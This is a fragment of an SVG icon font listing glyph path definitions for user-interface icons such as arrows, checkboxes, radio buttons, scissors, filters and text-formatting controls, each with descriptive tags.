<glyph unicode="&#xe11a;" d="M 187.322,356.036 C 192.561,356.036 196,350.839 196.001,341.125 L 196.001-21.125 C 196.001-30.84 192.564-36.036 187.323-36.036 C 183.996-36.036 179.943-33.941 175.583-29.582 L 70,76 L 0,76 L 0,244 L 70,244 L 175.583,349.583 C 179.943,353.943 183.995,356.036 187.322,356.036 ZM 224,188L 448,188L 448,132L 224,132z" data-tags="volume-decrease, speaker, media control, audio" />
<glyph unicode="&#xe11b;" d="M 56,244L 336,244L 336,160L 448,272L 336,384L 336,300L0,300L0,132L 56,132 	zM 392,76L 112,76L 112,160L0,48L 112-64L 112,20L 448,20L 448,188L 392,188 	z" data-tags="loop, repeat, reload, refresh, update, upgrade, synchronize, media control, arrows" />
<glyph unicode="&#xe11c;" d="M 382.385,318.384C 341.849,358.921, 285.856,384, 224,384C 127.974,384, 46.073,323.569, 14.22,238.668l 52.446-19.667
		C 90.555,282.677, 151.981,328, 224,328c 46.393,0, 88.384-18.813, 118.784-49.216L 280,216l 168,0 L 448,384 L 382.385,318.384zM 224-8c-46.393,0-88.386,18.809-118.787,49.213L 168,104L0,104 l0-168 l 65.622,65.622C 106.155-38.917, 162.143-64, 224-64
		c 96.027,0, 177.928,60.431, 209.781,145.332l-52.446,19.667C 357.446,37.323, 296.020-8, 224-8z" data-tags="loop, repeat, reload, refresh, update, upgrade, synchronize, media control, arrows" />
<glyph unicode="&#xe11d;" d="M 140,104L 140,188L 224,188L 112,300L0,188L 84,188L 84,48L 252,48L 196,104 	zM 364,132L 364,272L 196,272L 252,216L 308,216L 308,132L 224,132L 336,20L 448,132 	z" data-tags="loop, repeat, reload, refresh, update, upgrade, synchronize, media control, arrows" />
<glyph unicode="&#xe11e;" d="M 448,272L 336,384l0-84 c-57.213,0-100.954-13.653-133.722-41.741c-2.297-1.969-4.499-3.981-6.633-6.026
		c 12.040-16.697, 21.313-33.913, 29.65-50.352C 246.436,227.432, 276.944,244, 336,244l0-84 l0,0 l0-84 c-94.695,0-115.993,42.595-142.956,96.522
		c-15.009,30.018-30.529,61.058-59.322,85.737C 100.954,286.347, 57.213,300,0,300l0-56 c 94.695,0, 115.993-42.595, 142.956-96.522
		c 15.009-30.018, 30.529-61.058, 59.322-85.737C 235.046,33.654, 278.788,20, 336,20l0-84 l 112,112L 336,160L 448,272zM0,76l0-56 c 57.213,0, 100.953,13.653, 133.722,41.741c 2.297,1.968, 4.499,3.981, 6.633,6.027
		c-12.040,16.696-21.314,33.913-29.65,50.352C 89.565,92.569, 59.057,76,0,76z" data-tags="shuffle, media control, random" />
<glyph unicode="&#xe11f;" d="M0,48L 112,160L 336-64L 448,48L 224,272L 335.999,384L0,384 z" data-tags="arrow-up-left, up, left, arrow, top left, up left" />
<glyph unicode="&#xe120;" d="M 224.001,384L0,160L 140,160L 140-63.999L 308-64L 308,160L 448,160 z" data-tags="arrow-up, upload, top" />
<glyph unicode="&#xe121;" d="M 112,384L 224.001,272L0,48L 112-64L 336,160L 448,48.001L 448,384 z" data-tags="arrow-up-right, up, right, arrow, top right, up right" />
<glyph unicode="&#xe122;" d="M 448,160L 224,384L 224,244L 0.001,244L0,76L 224,76L 224-64 z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe123;" d="M 448,272L 336,160L 112,384L0,272L 224.001,48L 112.001-64L 448-64 z" data-tags="arrow-down-right, down, right, arrow, bottom right, down right" />
<glyph unicode="&#xe124;" d="M 224-64L 448,160L 308,160L 308,383.999L 140,384L 140,160L0,160 z" data-tags="arrow-down, download, bottom" />
<glyph unicode="&#xe125;" d="M 336-64L 224,48L 448,272L 336,384L 112,159.999L0,271.999L0-64 z" data-tags="arrow-down-left, down, left, arrow, bottom left, down left" />
<glyph unicode="&#xe126;" d="M0,160L 224-64L 224,76L 447.999,76L 448,244L 224,244L 224,384 z" data-tags="arrow-left, left, previous" />
<glyph unicode="&#xe127;" d="M 56,132c0-15.465, 12.536-28, 28-28s 28,12.535, 28,28L 112,232.403 l 232.201-232.202c 10.934-10.934, 28.663-10.934, 39.597,0
	C 389.266,5.668, 392,12.835, 392,20s-2.734,14.332-8.201,19.799L 151.597,272L 252,272 c 15.464,0, 28,12.536, 28,28s-12.536,28-28,28L 56,328 
	L 56,132 z" data-tags="arrow-up-left, up, left, arrow, top left, up left" />
<glyph unicode="&#xe128;" d="M 383.799,207.799l-140,140c-10.934,10.935-28.662,10.935-39.597,0l-140-140c-10.935-10.935-10.935-28.663,0-39.598
	c 10.935-10.936, 28.663-10.936, 39.598,0L 196,260.402L 196-8 c0-15.464, 12.536-28, 28-28c 15.464,0, 28,12.536, 28,28L 252,260.402 l 92.201-92.201
	C 349.668,162.733, 356.835,160, 364,160s 14.332,2.734, 19.799,8.201C 394.734,179.136, 394.734,196.864, 383.799,207.799z" data-tags="arrow-up, upload, top" />
<glyph unicode="&#xe129;" d="M 364.009,328c-0.005,0-0.012,0-0.018,0L 196,328 c-15.464,0-28-12.536-28-28s 12.536-28, 28-28l 100.403,0 L 64.201,39.799
	c-10.935-10.934-10.935-28.663,0-39.597C 69.668-5.266, 76.835-8, 84-8s 14.332,2.734, 19.799,8.201L 336,232.403L 336,132 
	c0-15.464, 12.536-28, 28-28s 28,12.536, 28,28L 392,328 L 364.009,328 z" data-tags="arrow-up-right, up, right, arrow, top right, up right" />
<glyph unicode="&#xe12a;" d="M 271.799,0.201l 140,140c 10.935,10.934, 10.935,28.663,0,39.598l-140,140c-10.935,10.934-28.663,10.934-39.598,0
	c-10.935-10.935-10.935-28.663,0-39.598L 324.402,188L 56,188 c-15.464,0-28-12.536-28-28s 12.536-28, 28-28l 268.402,0 L 232.201,39.799
	C 226.734,34.332, 224,27.165, 224,20s 2.734-14.332, 8.2-19.799C 243.135-10.734, 260.864-10.734, 271.799,0.201z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe12b;" d="M 392,188c0,15.465-12.535,28-28,28c-15.464,0-28-12.535-28-28l0-100.403 L 103.799,319.799
	c-10.934,10.934-28.663,10.934-39.597,0C 58.733,314.332, 56,307.165, 56,300s 2.734-14.332, 8.201-19.799L 296.403,48L 196,48 
	c-15.464,0-28-12.536-28-28s 12.536-28, 28-28l 196,0 L 392,188 z" data-tags="arrow-down-right, down, right, arrow, bottom right, down right" />
<glyph unicode="&#xe12c;" d="M 64.201,112.201l 140-140c 10.934-10.935, 28.663-10.935, 39.598,0l 140,140c 10.934,10.935, 10.934,28.663,0,39.598
	c-10.935,10.935-28.663,10.935-39.598,0L 252,59.598L 252,328 c0,15.464-12.536,28-28,28s-28-12.536-28-28l0-268.402 L 103.799,151.799
	C 98.332,157.266, 91.165,160, 84,160s-14.332-2.734-19.799-8.2C 53.267,140.865, 53.267,123.136, 64.201,112.201z" data-tags="arrow-down, download, bottom" />
<glyph unicode="&#xe12d;" d="M 252-8c 15.465,0, 28,12.535, 28,28c0,15.464-12.535,28-28,28L 151.597,48 l 232.202,232.201c 10.934,10.934, 10.934,28.663,0,39.597
	C 378.332,325.267, 371.165,328, 364,328s-14.332-2.734-19.799-8.201L 112,87.597L 112,188 c0,15.464-12.536,28-28,28s-28-12.536-28-28l0-196 L 252-8 z
	" data-tags="arrow-down-left, down, left, arrow, bottom left, down left" />
<glyph unicode="&#xe12e;" d="M 176.201,319.799l-140-140c-10.935-10.934-10.935-28.663,0-39.597l 140-140c 10.935-10.934, 28.663-10.934, 39.598,0
	c 10.936,10.934, 10.936,28.663,0,39.597L 123.597,132L 392,132 c 15.464,0, 28,12.535, 28,28c0,15.464-12.536,28-28,28L 123.597,188 l 92.201,92.201
	C 221.266,285.668, 224,292.835, 224,300s-2.734,14.332-8.2,19.799C 204.864,330.733, 187.136,330.733, 176.201,319.799z" data-tags="arrow-left, left, previous" />
<glyph unicode="&#xe12f;" d="M 224,384C 347.712,384, 448,283.712, 448,160s -100.288-224, -224-224s -224,100.288, -224,224S 100.288,384, 224,384z M 224-22
		c 100.516,0 182,81.484 182,182S 324.516,342, 224,342s -182-81.484, -182-182S 123.484-22, 224-22zM 280,272c 15.464,0 28-12.536 28-28s -12.536-28, -28-28l-72.401,0 L 327.799,95.799c 10.935-10.935 10.935-28.664,0-39.599
	C 322.332,50.734, 315.165,48, 308,48s -14.332,2.734, -19.799,8.2L 168,176.402L 168,104 c0-15.464, -12.536-28, -28-28s -28,12.536, -28,28L 112,272 L 280,272 
	z" data-tags="arrow-up-left, up, left, arrow, top left, up left" />
<glyph unicode="&#xe130;" d="M 448,160C 448,36.288, 347.712-64, 224-64s -224,100.288, -224,224s 100.288,224, 224,224S 448,283.712, 448,160z M 42,160
		c 0-100.516 81.484-182 182-182S 406,59.484, 406,160s -81.484,182, -182,182S 42,260.516, 42,160zM 243.799,291.799l 112-112.001c 10.935-10.934 10.935-28.662 0-39.597c -10.935-10.935 -28.663-10.935,-39.598,0L 252,204.402
	L 252,48 c 0-15.464 -12.536-28 -28-28c-15.464,0, -28,12.536, -28,28l0,156.402 l -64.201-64.201c -10.935-10.935 -28.664-10.935,-39.599,0
	C 86.733,145.668, 84,152.835, 84,160s 2.734,14.332, 8.2,19.799l 112,112.001C 215.135,302.733, 232.865,302.733, 243.799,291.799z" data-tags="arrow-up, upload, top" />
<glyph unicode="&#xe131;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 168,272c-15.464,0-28-12.536-28-28s 12.536-28, 28-28l 72.401,0 L 120.201,95.799c-10.935-10.935-10.935-28.664,0-39.599
	C 125.668,50.734, 132.835,48, 140,48s 14.332,2.734, 19.799,8.2L 280,176.402L 280,104 c0-15.464, 12.536-28, 28-28s 28,12.536, 28,28L 336,272 L 168,272 
	z" data-tags="arrow-up-right, up, right, arrow, top right, up right" />
<glyph unicode="&#xe132;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
		c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 355.799,179.799l-112.001,112c-10.934,10.935-28.662,10.935-39.597,0c-10.935-10.935-10.935-28.663,0-39.598L 268.402,188
	L 112,188 c-15.464,0-28-12.536-28-28c0-15.464, 12.536-28, 28-28l 156.402,0 l-64.201-64.201c-10.935-10.935-10.935-28.664,0-39.599
	C 209.668,22.734, 216.835,20, 224,20s 14.332,2.734, 19.799,8.2l 112.001,112C 366.734,151.135, 366.734,168.865, 355.799,179.799z" data-tags="arrow-right, right, next" />
<glyph unicode="&#xe133;" d="M 224-64C 100.288-64, 0,36.288, 0,160s 100.288,224, 224,224s 224-100.288, 224-224S 347.712-64, 224-64z M 224,342
		c -100.516,0 -182-81.484 -182-182S 123.484-22, 224-22s 182,81.484, 182,182S 324.516,342, 224,342zM 168,48c -15.464,0 -28,12.536 -28,28s 12.536,28, 28,28l 72.401,0 L 120.201,224.201c -10.935,10.935 -10.935,28.664,0,39.599
	C 125.668,269.267, 132.835,272, 140,272s 14.332-2.734, 19.799-8.2L 280,143.598L 280,216 c0,15.464, 12.536,28, 28,28s 28-12.536, 28-28L 336,48 L 168,48 
	z" data-tags="arrow-down-right, down, right, arrow, bottom right, down right" />
<glyph unicode="&#xe134;" d="M 448,160C 448,283.712, 347.712,384, 224,384s -224-100.288, -224-224s 100.288-224, 224-224S 448,36.288, 448,160z M 42,160
		c 0,100.516 81.484,182 182,182S 406,260.516, 406,160s -81.484-182, -182-182S 42,59.484, 42,160zM 243.799,28.201l 112,112.001c 10.935,10.934 10.935,28.662 0,39.597c -10.935,10.935 -28.663,10.935,-39.598,0L 252,115.598
	L 252,272 c 0,15.464 -12.536,28 -28,28c-15.464,0, -28-12.536, -28-28l0-156.402 l -64.201,64.201c -10.935,10.935 -28.664,10.935,-39.599,0
	C 86.733,174.332, 84,167.165, 84,160s 2.734-14.332, 8.2-19.799l 112-112.001C 215.135,17.266, 232.865,17.266, 243.799,28.201z" data-tags="arrow-down, download, bottom" />
<glyph unicode="&#xe135;" d="M 224-64C 347.712-64, 448,36.288, 448,160s -100.288,224, -224,224s -224-100.288, -224-224S 100.288-64, 224-64z M 224,342
		c 100.516,0 182-81.484 182-182S 324.516-22, 224-22s -182,81.484, -182,182S 123.484,342, 224,342zM 280,48c 15.464,0 28,12.536 28,28s -12.536,28, -28,28l-72.401,0 L 327.799,224.201c 10.935,10.935 10.935,28.664,0,39.599
	C 322.332,269.267, 315.165,272, 308,272s -14.332-2.734, -19.799-8.2L 168,143.598L 168,216 c0,15.464, -12.536,28, -28,28s -28-12.536, -28-28L 112,48 L 280,48 
	z" data-tags="arrow-down-left, down, left, arrow, bottom left, down left" />
<glyph unicode="&#xe136;" d="M 224,384C 347.712,384, 448,283.712, 448,160s -100.288-224, -224-224s -224,100.288, -224,224S 100.288,384, 224,384z M 224-22
		c 100.516,0 182,81.484 182,182S 324.516,342, 224,342s -182-81.484, -182-182S 123.484-22, 224-22zM 92.201,179.799l 112.001,112c 10.934,10.935 28.662,10.935 39.597,0c 10.935-10.935 10.935-28.663,0-39.598L 179.598,188
	L 336,188 c 15.464,0 28-12.536 28-28c0-15.464, -12.536-28, -28-28l-156.402,0 l 64.201-64.201c 10.935-10.935 10.935-28.664,0-39.599
	C 238.332,22.734, 231.165,20, 224,20s -14.332,2.734, -19.799,8.2l -112.001,112C 81.267,151.135, 81.267,168.865, 92.201,179.799z" data-tags="arrow-left, left, previous" />
<glyph unicode="&#xe137;" d="M 308,300L0,300L0,244L 308,244L 308,160L 420,272L 308,384 	zM 420,384L 420,272L 420,160L 448,160L 448,384 	zM 140,160L 28,48L 140-64L 140,20L 448,20L 448,76L 140,76 	zM0,160L0-64L 28-64L 28,48L 28,160 	z" data-tags="tab, arrows" />
<glyph unicode="&#xe138;" d="M0,384l0-448 l 448,0 L 448,384 L0,384 z M 420-36L 28-36 L 28,356 l 392,0 L 420-36 z M 336,286L 196,146l-84,84l-56-56l 140-140l 196,196L 336,286z" data-tags="checkbox-checked, tick, checked, selected" />
<glyph unicode="&#xe139;" d="M0,384l0-448 l 448,0 L 448,384 L0,384 z M 420-36L 28-36 L 28,356 l 392,0 L 420-36 z" data-tags="checkbox-unchecked, unchecked, square" />
<glyph unicode="&#xe13a;" d="M0,384l0-448 l 448,0 L 448,384 L0,384 z M 420-36L 28-36 L 28,356 l 392,0 L 420-36 zM 112,272L 336,272L 336,48L 112,48z" data-tags="checkbox-partial, partial" />
<glyph unicode="&#xe13b;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-8
		c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168c 92.784,0, 168-75.216, 168-168C 392,67.216, 316.784-8, 224-8zM 140,160A84,84 12780 1 0 308,160A84,84 12780 1 0 140,160z" data-tags="radio-checked" />
<glyph unicode="&#xe13c;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-8
	c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168c 92.784,0, 168-75.216, 168-168C 392,67.216, 316.784-8, 224-8z" data-tags="radio-unchecked, circle" />
<glyph unicode="&#xe13d;" d="M 364,272l 84,84L 420,384l-84-84L 140,300 L 140,384 L 84,384 l0-84 L0,300 l0-56 l 84,0 l0-224 l 224,0 l0-84 l 56,0 l0,84 l 84,0 l0,56 l-84,0 L 364,272 z M 140,244l 140,0 L 140,104L 140,244 z M 168,76
	l 140,140l0-140 L 168,76 z" data-tags="crop, resize, cut" />
<glyph unicode="&#xe13e;" d="M 389.714,73.745c-19.974,19.931-45.381,30.219-69.101,30.219l-12.736,0 l-27.958,28.003l 111.834,112.017
	c 27.958,28.004, 27.958,84.012,0,112.017L 224.001,187.976L 56.249,356c-27.958-28.003-27.958-84.012,0-112.017l 111.835-112.015
	l-27.959-28.003l-12.737,0 c-23.721,0-49.128-10.289-69.102-30.221c-35.71-35.631-40.534-88.587-10.776-118.278
	C 60.622-57.616, 78.261-64, 96.946-64c 23.72,0, 49.127,10.287, 69.101,30.219c 23.443,23.39, 33.575,54.25, 29.349,81.090l 28.605,28.651
	l 28.602-28.651c-4.224-26.84, 5.909-57.698, 29.349-81.090C 301.93-53.713, 327.336-64, 351.055-64
	c 18.685,0, 36.323,6.384, 49.435,19.467C 430.249-14.842, 425.422,38.114, 389.714,73.745z M 154.448,14.077
	c-3.368-7.823-8.317-15.026-14.711-21.405c-6.403-6.389-13.638-11.339-21.502-14.711c-7.058-3.026-14.42-4.623-21.29-4.623
	c-6.626,0-16.018,1.488-23.127,8.58c-7.059,7.045-8.54,16.327-8.54,22.876c0,6.8, 1.593,14.092, 4.605,21.093
	c 3.369,7.824, 8.319,15.026, 14.711,21.405c 6.402,6.39, 13.638,11.337, 21.503,14.711c 7.059,3.025, 14.42,4.623, 21.291,4.623
	c 6.626,0, 16.018-1.488, 23.125-8.581c 7.059-7.043, 8.541-16.326, 8.541-22.874C 159.055,28.371, 157.462,21.076, 154.448,14.077z
	 M 224.002,92.364c-21.837,0-39.54,17.733-39.54,39.605c0,21.871, 17.702,39.602, 39.54,39.602s 39.538-17.731, 39.538-39.602
	C 263.539,110.095, 245.838,92.364, 224.002,92.364z M 374.182-18.081c-7.109-7.091-16.499-8.58-23.126-8.58
	c-6.87,0-14.232,1.598-21.291,4.623c-7.863,3.371-15.097,8.321-21.5,14.711c-6.394,6.379-11.343,13.581-14.711,21.405
	c-3.013,6.999-4.605,14.294-4.605,21.093c0,6.548, 1.48,15.832, 8.54,22.875c 7.108,7.091, 16.499,8.581, 23.126,8.581
	c 6.869,0, 14.232-1.599, 21.289-4.623c 7.865-3.372, 15.101-8.32, 21.503-14.711c 6.392-6.379, 11.342-13.581, 14.711-21.405
	c 3.012-6.999, 4.605-14.293, 4.605-21.093C 382.721-1.754, 381.239-11.036, 374.182-18.081z" data-tags="scissors, cut" />
<glyph unicode="&#xe13f;" d="M 224,384C 100.288,384,0,352.66,0,314l0-42 l 168-168l0-140 c0-15.464, 25.071-28, 56-28c 30.928,0, 56,12.536, 56,28L 280,104 l 168,168L 448,314 
	C 448,352.66, 347.712,384, 224,384z M 41.293,323.264c 10.476,5.975, 25.192,11.646, 42.559,16.401C 122.328,350.199, 172.099,356, 224,356
	c 51.9,0, 101.672-5.801, 140.148-16.334c 17.367-4.755, 32.084-10.426, 42.56-16.401c 6.909-3.94, 10.642-7.273, 12.38-9.264
	c-1.738-1.991-5.471-5.323-12.38-9.264c-10.476-5.975-25.193-11.646-42.56-16.401C 325.673,277.801, 275.901,272, 224,272
	c-51.901,0-101.672,5.801-140.148,16.334c-17.367,4.755-32.084,10.426-42.559,16.401C 34.384,308.677, 30.651,312.008, 28.913,314
	C 30.651,315.992, 34.384,319.323, 41.293,323.264z" data-tags="filter, funnel" />
<glyph unicode="&#xe140;" d="M0,328L 168,160L 168-8L 280,20L 280,160L 448,328 z" data-tags="filter, funnel" />
<glyph unicode="&#xe141;" d="M 349.823,376.909C 310.218,376.909, 284.802,384, 244.015,384C 112.203,384, 50.731,308.932, 50.731,232.681
	c0-44.922, 21.28-59.7, 63.247-59.7c-2.957,6.503-8.275,13.598-8.275,45.515c0,89.254, 33.69,115.263, 76.841,117.036
	c0,0-35.402-347.101-138.153-388.737L 44.391-64 l 73.814,0 l 64.696,0 l 47.261,224l 86.557,0 L 336,216L 241.978,216 l 22.726,107.708
	c 26.008-5.318, 51.425-10.638, 73.295-10.638c 27.19,0, 52.016,8.275, 65.611,70.93C 387.061,378.68, 369.326,376.909, 349.823,376.909z" data-tags="font, font family, wysiwyg" />
<glyph unicode="&#xe142;" d="M 392,48 L 448,48 L 378-36 L 308,48 L 364,48 L 364,272 L 308,272 L 378,356 L 448,272 L 392,272 ZM 280,356 L 280,244 L 252,300 L 168,300 L 168-8 L 224-8 L 224-36 L 56-36 L 56-8 L 112-8 L 112,300 L 28,300 L 0,244 L 0,356 Z" data-tags="text-height, wysiwyg" />
<glyph unicode="&#xe143;" d="M 112-8 L 112-64 L 28,6 L 112,76 L 112,20 L 336,20 L 336,76 L 420,6 L 336-64 L 336-8 ZM 364,356 L 364,244 L 336,300 L 252,300 L 252,104 L 308,104 L 308,76 L 140,76 L 140,104 L 196,104 L 196,300 L 112,300 L 84,244 L 84,356 Z" data-tags="text-width, wysiwyg" />
<glyph unicode="&#xe144;" d="M 309.697,171.965C 326.103,191.452, 336,216.593, 336,244c0,61.758-50.243,112-112,112l-56,0 l-56,0 L 84,356 l0-392 l 28,0 l 56,0 l 84,0 
	c 61.757,0, 112,50.243, 112,112C 364,116.668, 342.213,152.342, 309.697,171.965z M 168,300l 44.406,0 c 24.486,0, 44.406-25.121, 44.406-56
	s-19.92-56-44.406-56L 168,188 L 168,300 z M 237.563,20L 168,20 L 168,132 l 69.563,0 c 25.572,0, 46.375-25.121, 46.375-56S 263.134,20, 237.563,20z" data-tags="bold, wysiwyg" />
<glyph unicode="&#xe145;" d="M 308,356 L 364,356 L 364,174 C 364,104.412 301.32,48 224,48 C 146.681,48 84,104.412 84,174 L 84,356 L 140,356 L 140,174 C 140,156.427 147.979,139.567 162.467,126.529 C 178.609,112.002 200.463,104 224,104 C 247.537,104 269.391,112.002 285.533,126.529 C 300.021,139.567 308,156.427 308,174 L 308,356 ZM 84,20L 364,20L 364-36L 84-36z" data-tags="underline, wysiwyg" />
<glyph unicode="&#xe146;" d="M 392,356 L 392,328 L 336,328 L 196-8 L 252-8 L 252-36 L 56-36 L 56-8 L 112-8 L 252,328 L 196,328 L 196,356 Z" data-tags="italic, wysiwyg" />
<glyph unicode="&#xe147;" d="M 448,160 L 448,132 L 345.404,132 C 357.437,115.152 364,95.822 364,76 C 364,44.991 347.961,15.176 319.996-5.797 C 294.027-25.273 259.934-36 224-36 C 188.065-36 153.973-25.273 128.004-5.797 C 100.039,15.176 84,44.991 84,76 L 140,76 C 140,45.645 178.468,20 224,20 C 269.532,20 308,45.645 308,76 C 308,106.355 269.532,132 224,132 L 0,132 L 0,160 L 131.039,160 C 130.016,160.724 129.002,161.454 128.004,162.203 C 100.039,183.177 84,212.991 84,244 C 84,275.009 100.039,304.823 128.004,325.797 C 153.973,345.273 188.065,356 224,356 C 259.934,356 294.027,345.273 319.996,325.797 C 347.961,304.823 364,275.009 364,244 L 308,244 C 308,274.355 269.532,300 224,300 C 178.468,300 140,274.355 140,244 C 140,213.645 178.468,188 224,188 C 258.553,188 291.399,178.078 316.961,160 L 448,160 Z" data-tags="strikethrough, wysiwyg" />
<glyph unicode="&#xe148;" d="M 308-8 L 420-8 L 448,48 L 448-64 L 280-64 L 280,29.719 C 337.361,54.43 378,115.977 378,188 C 378,281.814 309.051,355.241 224,355.241 C 138.947,355.241 70,281.815 70,188 C 70,115.977 110.638,54.43 168,29.719 L 168-64 L 0-64 L 0,48 L 28-8 L 140-8 L 140,6.258 C 57.912,35.334 0,105.746 0,188 C 0,296.248 100.288,384 224,384 C 347.712,384 448,296.248 448,188 C 448,105.746 390.088,35.334 308,6.258 L 308-8 Z" data-tags="omega, symbols, wysiwyg" />
<glyph unicode="&#xe149;" d="M 411.953,62.565 L 431.375,104 L 448,104 L 420-64 L 0-64 L 0-31.519 L 145.051,139.636 L 0,284.687 L 0,384 L 428.75,384 L 448,272 L 432.961,272 L 424.77,289.011 L 424.77,289.010 C 409.319,321.107 397.688,328 364,328 L 74.375,328 L 228.837,173.538 L 98.716,20 L 336,20 C 386.754,20 400.159,38.19 411.953,62.565 Z" data-tags="sigma, symbols, wysiwyg" />
<glyph unicode="&#xe14a;" d="M0,300l0-308 l 448,0 L 448,300 L0,300 z M 168,104l0,56 l 112,0 l0-56 L 168,104 z M 280,76l0-56 L 168,20 l0,56 L 280,76 z M 280,244l0-56 L 168,188 l0,56 L 280,244 z M 140,244l0-56 L 28,188 l0,56 L 140,244 z
	 M 28,160l 112,0 l0-56 L 28,104 L 28,160 z M 308,160l 112,0 l0-56 L 308,104 L 308,160 z M 308,188l0,56 l 112,0 l0-56 L 308,188 z M 28,76l 112,0 l0-56 L 28,20 L 28,76 z M 308,20l0,56 l 112,0 l0-56 L 308,20 z" data-tags="table, wysiwyg" />
<glyph unicode="&#xe14b;" d="M0,356l0-392 l 448,0 L 448,356 L0,356 z M 168,104l0,84 l 112,0 l0-84 L 168,104 z M 280,76l0-84 L 168-8 l0,84 L 280,76 z M 280,300l0-84 L 168,216 L 168,300 L 280,300 z M 140,300l0-84 L 28,216 L 28,300 L 140,300 z
	 M 28,188l 112,0 l0-84 L 28,104 L 28,188 z M 308,188l 112,0 l0-84 L 308,104 L 308,188 z M 308,216L 308,300 l 112,0 l0-84 L 308,216 z M 28,76l 112,0 l0-84 L 28-8 L 28,76 z M 308-8l0,84 l 112,0 l0-84 L 308-8 z" data-tags="table, wysiwyg" />
<glyph unicode="&#xe14c;" d="M 168,300L 224,300L 224,272L 168,272zM 252,300L 308,300L 308,272L 252,272zM 392,300 L 392,188 L 308,188 L 308,216 L 364,216 L 364,272 L 336,272 L 336,300 ZM 140,216L 196,216L 196,188L 140,188zM 224,216L 280,216L 280,188L 224,188zM 84,272 L 84,216 L 112,216 L 112,188 L 56,188 L 56,300 L 140,300 L 140,272 ZM 168,132L 224,132L 224,104L 168,104zM 252,132L 308,132L 308,104L 252,104zM 392,132 L 392,20 L 308,20 L 308,48 L 364,48 L 364,104 L 336,104 L 336,132 ZM 140,48L 196,48L 196,20L 140,20zM 224,48L 280,48L 280,20L 224,20zM 84,104 L 84,48 L 112,48 L 112,20 L 56,20 L 56,132 L 140,132 L 140,104 ZM 420,356 L 28,356 L 28-36 L 420-36 L 420,356 Z M 448,384 L 448,384 L 448-64 L 0-64 L 0,384 L 448,384 Z" data-tags="insert-template, wysiwyg" />
<glyph unicode="&#xe14d;" d="M 168,384 L 392,384 L 392,328 L 336,328 L 336-64 L 280-64 L 280,328 L 224,328 L 224-64 L 168-64 L 168,160 C 106.145,160 56,210.144 56,272 C 56,333.855 106.145,384 168,384 Z" data-tags="pilcrow, wysiwyg" />
<glyph unicode="&#xe14e;" d="M 224,384c-61.855,0-112-50.145-112-112s 50.145-112, 112-112l0-224 l 56,0 L 280,328 l 56,0 l0-392 l 56,0 L 392,328 l 56,0 L 448,384 L 224,384 zM0,76L 112,188L0,300 	z" data-tags="left to right, ltr, wysiwyg, direction" />
<glyph unicode="&#xe14f;" d="M 112,384C 50.145,384,0,333.855,0,272s 50.145-112, 112-112l0-224 l 56,0 L 168,328 l 56,0 l0-392 l 56,0 L 280,328 l 56,0 L 336,384 L 112,384 zM 448,300L 336,188L 448,76 	z" data-tags="right to left, rtl, wysiwyg, direction" />
<glyph unicode="&#xe150;" d="M0,300L 448,300L 448,272L0,272zM0,244L 308,244L 308,216L0,216zM0,188L 448,188L 448,160L0,160zM0,132L 308,132L 308,104L0,104zM0,76L 448,76L 448,48L0,48zM0,20L 308,20L 308-8L0-8z" data-tags="paragraph-left, align left, left, wysiwyg" />
<glyph unicode="&#xe151;" d="M0,300L 448,300L 448,272L0,272zM 84,244L 364,244L 364,216L 84,216zM 84,132L 364,132L 364,104L 84,104zM 84,20L 364,20L 364-8L 84-8zM0,188L 448,188L 448,160L0,160zM0,76L 448,76L 448,48L0,48z" data-tags="paragraph-center, align center, center, wysiwyg" />
<glyph unicode="&#xe152;" d="M0,300L 448,300L 448,272L0,272zM 140,244L 448,244L 448,216L 140,216zM0,188L 448,188L 448,160L0,160zM 140,132L 448,132L 448,104L 140,104zM0,76L 448,76L 448,48L0,48zM 140,20L 448,20L 448-8L 140-8z" data-tags="paragraph-right, align right, right, wysiwyg" />
<glyph unicode="&#xe153;" d="M0,244L 448,244L 448,216L0,216zM0,132L 448,132L 448,104L0,104zM0,20L 448,20L 448-8L0-8zM0,300L 448,300L 448,272L0,272zM0,188L 448,188L 448,160L0,160zM0,76L 448,76L 448,48L0,48z" data-tags="paragraph-justify, wysiwyg, justify" />
<glyph unicode="&#xe154;" d="M0,356L 448,356L 448,300L0,300zM0,272L 280,272L 280,216L0,216zM0,104L 280,104L 280,48L0,48zM0,188L 448,188L 448,132L0,132zM0,20L 448,20L 448-36L0-36z" data-tags="paragraph-left, align left, left, wysiwyg" />
<glyph unicode="&#xe155;" d="M0,356L 448,356L 448,300L0,300zM 84,272L 364,272L 364,216L 84,216zM 84,104L 364,104L 364,48L 84,48zM0,188L 448,188L 448,132L0,132zM0,20L 448,20L 448-36L0-36z" data-tags="paragraph-center, align center, center, wysiwyg" />
<glyph unicode="&#xe156;" d="M0,356L 448,356L 448,300L0,300zM 168,272L 448,272L 448,216L 168,216zM 168,104L 448,104L 448,48L 168,48zM0,188L 448,188L 448,132L0,132zM0,20L 448,20L 448-36L0-36z" data-tags="paragraph-right, align right, right, wysiwyg" />
<glyph unicode="&#xe157;" d="M0,356L 448,356L 448,300L0,300zM0,272L 448,272L 448,216L0,216zM0,188L 448,188L 448,132L0,132zM0,104L 448,104L 448,48L0,48zM0,20L 448,20L 448-36L0-36z" data-tags="paragraph-justify, wysiwyg, justify" />
<glyph unicode="&#xe158;" d="M0,356L 448,356L 448,300L0,300zM 168,272L 448,272L 448,216L 168,216zM 168,188L 448,188L 448,132L 168,132zM 168,104L 448,104L 448,48L 168,48zM0,20L 448,20L 448-36L0-36zM 0,76 L 0,244 L 112,160 Z" data-tags="indent-increase, wysiwyg" />
